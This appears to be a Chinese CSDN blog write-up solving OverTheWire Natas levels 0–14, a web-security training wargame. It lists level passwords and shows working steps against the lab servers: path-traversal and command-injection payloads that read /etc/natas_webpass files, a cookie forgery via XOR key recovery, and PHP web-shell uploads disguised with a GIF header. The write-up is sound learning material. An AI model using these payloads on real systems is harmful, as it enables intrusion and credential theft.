Wargames是OverTheWire社区提供的一个帮助学习安全知识和实践的一个平台,提供了各式各样的项目模块,可以在其中练级基本的安全技能。
Natas是其中一个最基础的模块,主要用来学习Web安全服务器端的基本安全策略,包含了文件上传、命令行注入、SQL注入等常见的基本安全漏洞,适合Web安全入门学习。
这里主要用来记录个人的练习过程的思路,作为学习的参考。
Wargame:https://overthewire.org/wargames/
Natas:https://overthewire.org/wargames/natas/
Level 0->1:
提示密码就在本页,那就看一下源码呗。
很容易找到注释
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->。
Level 1->2:
提示密码就在本页,但是右键不能使用。好办,F12比右键好用多了。
还是注释里:
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Level 2->3:
这次说页面上没有东西,那就是在其他地方了,查看返回文件时发现多了一个/files/piexl.png;直接访问只有一个像素点,图像没有任何信息,返回上一层看看。
Level 3->4:
还是说页面没有任何东西,查看源码多了一个注释说Google也找不到。Google浏览器实质上是一个爬虫,如果在robots.txt添加条件的话就可以限制Google访问,所以尝试访问robots.txt。
Level 4->5:
显示访问被拒绝,访问必须来自"http://natas5.natas.labs.overthewire.org/",既然说来源了,那就先尝试修改Referer头试试:
Level 5->6:
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
提示没有登陆,已经到这了肯定不会是没有登录,查看一下cookie。
这里有个loggedin选项,应该是用来标注是否登陆的,将它改为1试试。
Level 6->7:
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
这次是输入,先看看源码:
如果输入和secret,脚本还包含了一个文件,访问一下试试。
Level 7->8:
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
开始变得像个网页了,源码又说密码在哪里。
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
Home和About页面都只有一句话,大概是想办法直接访问,URL显示了格式,试试直接访问密码。
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
Level 8->9:
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
又是Input secret,还是先看看源码吧:
将输入与加密后的secret对比,所以我们直接将encodesecret解密就行了:
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))
?>
# oubWYf2kBq
Level 9->10:
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
先看看源码吧:
passthru会执行外部命令,那么尝试命令注入:
;cat /etc/natas_webpass/natas10
(一开始尝试查看了dictionary.txt,真就只是个字典)
Level 10->11:
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
出于安全原因过滤了一些字符,看来应该还是命令注入,看看源码:
过滤了“ ; | & ”,所以不能像上题一样直接执行命令了,但是这里还是执行grep命令,而grep命令也是可以输出的,能不能直接用它来输出密码:
[a-z] /etc/natas_webpass/natas11
Level 11->12:
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
题目提示Cookie使用了异或加密,要输入的时颜色。还是先看一下源码:
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
在最后可以看到,如果 $data[“showpassword”] == "yes"的话,就可以得到密码,所以我们要想办法使这个条件成立。查看上面的函数可以知道这个 $data是cookie中的一个参数,这个参数的值是一个数组经过base64、json加密和一个自定义的函数加密形成的base64字符串,那么我们需要伪造一个cookie,这个cookie的data值需要是 $ data[“showpassword”] == “yes” 的一个数组按照其加密形成的base64编码。
这和之前的一道题很类似,但是有一个自定义的加密函数xor_encrypt(),我们需要伪造这个函数的话必须先得到这个函数中的$key,由于其是异或加密,我们可以通过对初始值和加密后的值进行异或运算来获取这个key。
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
$text = json_encode($defaultdata);
$outtext = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");
$key = '';
for($i=0;$i<strlen($outtext);$i++)
$key.= $text[$i]^$outtext[$i];
echo $key;
>?
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
接下来就可以模拟运算得到我们想要的cookie了。
<?
function xor_encrypt($in) {
$key = "qw8J";
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$payload = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
echo base64_encode(xor_encrypt(json_encode($payload)));
?>
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Natas12->13
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
上传一个JPEG图片,考的应该是文件上传漏洞:
看一下网页源码,看看有没有JS验证。虽然没有JS验证,但是这里直接设置了文件名,那么很显然我们上传的文件可定会被改名。所以上传之后还是要改名,不过它既然没有JS验证,那可以尝试直接在这里改,毕竟抓包也是需要设置的:
<?
system('cat /etc/natas_webpass/natas13');
?>
再上传文件,OK是PHP,还给了地址,访问一下:
Natas13->14
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
仍然是文件上传,提示出于安全原因,只接收图片文件,这次直接修改就不行了。尝试抓包修改还是不成功之后,还是看看源码吧:
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
这里使用exif_imagetype来检测是否是图片,exif_imagetype() 读取一个图像的第一个字节并检查其签名。所以我们需要修改文件将最开始的字节替换为图片的字节码:
GIF98
<?
system('cat /etc/natas_webpass/natas13');
?>
接下来和之前一样就行。
来源:CSDN
作者:Jekyll__
链接:https://blog.csdn.net/Jekyll__/article/details/104441116